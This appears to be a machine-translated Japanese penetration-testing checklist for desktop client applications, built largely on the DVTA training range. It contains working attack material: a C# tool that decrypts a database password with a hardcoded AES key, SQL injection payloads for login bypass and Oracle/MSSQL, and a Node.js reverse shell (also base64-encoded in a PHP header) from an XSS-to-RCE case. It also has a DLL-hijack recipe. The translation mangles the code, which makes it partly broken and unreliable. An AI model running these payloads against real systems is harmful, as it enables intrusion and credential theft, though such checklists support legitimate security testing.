0x00はじめに
このプロジェクトは、主にPCクライアント(CSアーキテクチャ)の浸透テストをターゲットにしており、独自のテストエクスペリエンスとネットワークデータを組み合わせてチェックリストを形成します。ご質問がある場合は、お問い合わせください。さらに、より多くのスキルとケースを提供してください。
0x01概要
PCクライアント、豊富な機能を備えたGUI、C-Sアーキテクチャ。
0x02開発言語
C#(.NET)、Java、Delphi、C、C ++ .
0x03プロトコル
TCP、HTTP(S)、TDS .
0x04データベース
Oracle、MSSQL、DB2 .
0x05テストツール
//関連ツールのダウンロード:https://github.com/thelsa/hack-cs-tools
DVTA:PCクライアントシューティングレンジ
IDA Pro:静的分析ツール
ollydbg:動的分析ツール
CFFエクスプローラー:PEファイル分析
PEID:シェルチェックツール
ExeinFope/Studype:PEファイル分析
Wireshark:トラフィックを観察します
TCPView:TCPトラフィックを観察します
エコーミラージュ:TCPトラフィックを傍受できます
BURPSUITE:HTTP(S)パケットキャプチャ
プロキシファイア:グローバルプロキシトラフィック
Procmon:ファイルとレジストリの監視
Regshot:レジストリの変更比較
プロセスハッカー:プロセス分析
regfromApp:レジストリ監視
wsexplorer:年間アライアンスプロセスパケットキャッチツール
文字列:プログラムの文字列を表示します
.net [anti] compilation:
dotpeek
de4dot
dnspy
ilspy
sae
イルダム
ilasm
Javaの逆コンパイル
ジャド
jd-gui
JADX
dex2jar
オンラインバージョン:
Javare.cn
www.javadecompilers.com
Reflexil:アセンブリエディター(ILSPYプラグインとして使用できます)
VCG:自動コード監査ツール
Binscope:Binscope
0x06エージェント設定
ほとんどのクライアントにはプロキシ構成関数がなく、次のようにグローバルプロキシをセットアップする必要があります。
1)IEインターネット設定と接続-LAN設定。
2)プロキシフィア - プロキシサーバー/プロキシフィスルール
//HTTPのトラフィックをBurpsuiteと組み合わせることで、簡単にテストすることができます(プロキシサーバーはプロキシアドレスに設定されます)。
0x07テストポイント
0。 情報収集
コンピレーション情報、開発環境/言語、使用法プロトコル、データベース、IP、難読化/暗号化、シェルなど。
ケース0-CFFクライアント情報を表示(コンピレーション環境など)
DVTA
1。リバースエンジニアリング
逆コンパイル、ソースコードリーク、ハードコーディングキー/パスワード、暗号化され、復号化されたロジック、役割判断ロジック(0-Admin、1-ノルマルーザー)、バックドアなど。
ケース0-暗号化と復号化ロジックを取得し、復号化ツールを書き込むための逆コンパイル
DVTA
このロジックと
の導入されたtext:ctsvjz0jqghxywbsrcpxpq==で得られた情報
AES KEY:J8GLXC454O5TW2HEF7HAHCXPUFJ9V8K8
IV:FQ20T0GMNXA6G0L4
復号化ツールを書きます
システムの使用。 System.collections.genericを使用しています。 System.comPonentModelを使用しています。 System.Dataを使用しています。
System.drawingを使用しています。
System.linqを使用しています。
System.textを使用しています。
System.threading.tasksを使用しています。
system.windows.formsを使用しています。
System.security.cryptographyを使用します。
名前空間aesdecrypt
{
パブリック部分クラスaesdecrypt :フォーム
{
public aesdecrypt()
{
initializeComponent();
}
private void decrypt(オブジェクト送信者、eventargs e)
{
string key="j8glxc454o5tw2hef7hahcxpufj9v8k8";
文字列iv="fq20t0gmnxa6g0l4";
string encryptedtext="ctsvjz0jqghxywbsrcpxpq==";
byte [] encryptedbytes=convert.frombase64string(encryptedText);
aescryptoserviceprovider aes=new aescryptoserviceprovider();
aes.blocksize=128;
aes.keysize=256;
aes.key=system.text.asciiencoding.ascii.getBytes(key);
aes.iv=system.text.asciiencoding.ascii.getBytes(iv);
aes.padding=paddingmode.pkcs7;
aes.mode=ciphermode.cbc;
icryptotransform crypto=aes.createdecryptor(aes.key、aes.iv);
byte [] decryptedBytes=crypto.transformfinalblock(encryptedbytes、0、encryptedbytes.length);
string decryptedstring=system.text.ascieencoding.ascii.getString(decryptedbytes);
console.writeLine( "\ n");
Console.WriteLine( "############### Decryptデータベースパスワード############# \ n");
console.writeLine( "Decrypted Database password:" + DecryptedString + "\ n");
console.writeLine( "############## DONE ############### \ n");
}
}
}
//https://resources.infosecinstitute.com/damn-vulnerable-client-app-part-5/#articleから発信された復号化コード
ケース1-コードロジックを逆コンパイルして変更して、通常のユーザーが管理者としてログインできるように
DVTA
1-イザドミン
0-ノルマルサー
1を0に変更して、管理者を決定します
2。情報漏れ
プレーンテキストに敏感な情報、機密ファイル(インストールディレクトリのxxx.configなど)。
レジストリ:Regshotを使用して、クライアントの実行前後のレジストリの違い(ログインなど)を比較します。
開発およびデバッグログリーク(DVTA.EXE LOG.TXTなど)
プロセスハッカーは、クライアントメモリに単純なテキストに敏感なデータ(アカウントパスワード/キーなど)を表示します。
文字列は、クライアント文字列(IP情報など)を直接表示します。
ソースコード(Github、Giteeなどなど)を表示
ケース0コンフィ分率の機密情報漏れ
DVTA
ケース1メモリーリークデータベースアカウントパスワード
DVTA
ケース2-ソースコードには、ハードコーディングされたFTPアカウントパスワードが含まれています
DVTA
ケース3開発およびデバッグログリーク
DVTA
ケース4-特定のシステムにログインした後、アカウントパスワードをローカルに保存する //
FTPなどのプロトコルによってプレーンテキストで送信されたアカウントパスワード
SQLステートメントプレーンテキストトランスミッション(コンストラクトインジェクション、過剰柔軟性などの使用など)
ケース0 -Zhengfang Academic Affairs System SQL Statement送信プレーンテキスト、プレーンテキストデータを返します
//このケースはウーユから来ています
ケース1-データパケットは、特定のシステムログインでデータベースアカウントパスワードを返します
3。トランスミッショントラフィック
4。その他の脆弱性
ケース0
:01010ログイン機能など。
ケース0
ユーザー名列挙
Admin 123456などを試すことができます。
ブルートフォースの亀裂
弱いパスワード
ケース0
ケース1
:010ログインの場合、ユニバーサルパスワード
xxx ’または「x」=’ x
xxx ’または1=1--
入力ボックスで、 '、'、 'などの閉じたエラーを作成します)、%')、100 ---などで注文
データは、ディスプレイビットまたはエラーを使用して注入されます。原則はWebインジェクションと同じであり、異なるデータベースは類似しています。
症例0オラクル注入
'Union Select Null、null、(dualの選択ユーザーを選択)、null、null、(sys.v_ $ hwore where rownum=1からselect banner=1)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null -
ケース1-MSSQL注射
111 ')および(ユーザーを選択)0--
個人的なクリアテキスト送信
Excelをエクスポートする場合は、1+1を入力して、エクスポート後2かどうかを確認します。
電子、nodewebkitなどの
sqlステートメントが公開されました
ケース0-Chinese Ant Sword XSSからRCE
環境:WIN7+PHPSTUDY(PHP5.6.27-NTS)+PERL+NC+ANTSWORD2.0.5
XSS WebShell:
?php
ヘッダー( 'http/1.1 500 img src=#onerror=alertx');
Windows+node.js:
成功
var net=require( 'net')、sh=require( 'child_process')。exec( 'cmd.exe');
var client=new Net.Socket();
client.connect(6677、 '127.0.0.1'、function(){client.pipe(sh.stdin); sh.stdout.pipe(client);
sh.stderr.pipe(client);});
?php
ヘッダー( 'HTTP/1.1 500 NOT IMG SRC=#ONERROR=' Eval(newバッファー(dmfyig5ldca9ihjlcxvpcmuoim5ldciplcbzaca9ihjlcxvpcmuoimnoawxkx3byb2nlc3miks 5Legvjkcjbwquzxhliik7cnzhcibjbgllbnqgpsbuzxcgbmv0llnvy2tldcgpowpjbgllbnquy29ubmvj dcg2njc3lcaimti3ljaumc4xiiwgznvuy3rpb24okxtjbgllbnqucglwzshzac5zdgrpbik7c2guc3rkb3 v0lnbpcguoy2xpzw50ktskc2guc3rkzxjylnbpcguoy2xpzw50ktt9kts=、base64).toString()) '');
関連するリファレンス
https://www.anquanke.com/post/id/176379
コマンド実行
ケース0-EverNoteWindowsクライアント6.15ローカルファイルの読み取りとリモートコマンドの実行http://BLOG.KNOWNSSEC.COM/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AEB0-WINDOWS-E5%AE%A2%E6%88%B7%E7%ABATAF-ACAF-6-15-%% E6%A6 9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e5%92%8c%e8%bf%9c%
ケース1-AクラウドPCクライアントコマンド実行マイニングプロセス
https://www.secpulse.com/archives/53852.html
ケース2-Kingsoft WPSメールメールクライアントリモートコマンド実行の脆弱性(MozillaベースのXULプログラム利用のヒント)
https://shuimugan.com/bug/view?bug_no=193117
テストポイントはWebと同じです。
dll hijacks linuxファイル検索注文:
現在のディレクトリパス注文値ディレクトリプログラム検索DLL注文:
//絶対パスは提供されていません
1.アプリケーションがロードされるディレクトリ。
2。現在のディレクトリ。
3。SystemDirectory(C: \ Windows \ System32 \)。
4.16ビットシステムディレクトリ。
5。Windowsディレクトリ。
6。パス変数のディレクトリ。
このプログラムは、攻撃者によって配置された悪意のあるDLLをロードできます。
Procmonを使用して、プログラムによってロードされたDLLを検索し、見つからない名前を観察します。
MSFは悪意のあるDLLを生成し、プログラムの読み込み場所に配置します。プログラムを実行すると、ペイロードをトリガーできます。
ケース0-dllハイジャック
DVTA
SQL注入
テストポイントはWebと同じです。
CSV注入
レジストリキー値、承認サーバーは情報構築を返します。
関連するリファレンス
https://cloud.tencent.com/developer/article/1430899
xss
ケース0 Zhengfang Academic Affairs Systemデータベースの任意の操作
IPを知ることでデータベースを引き継ぐことができます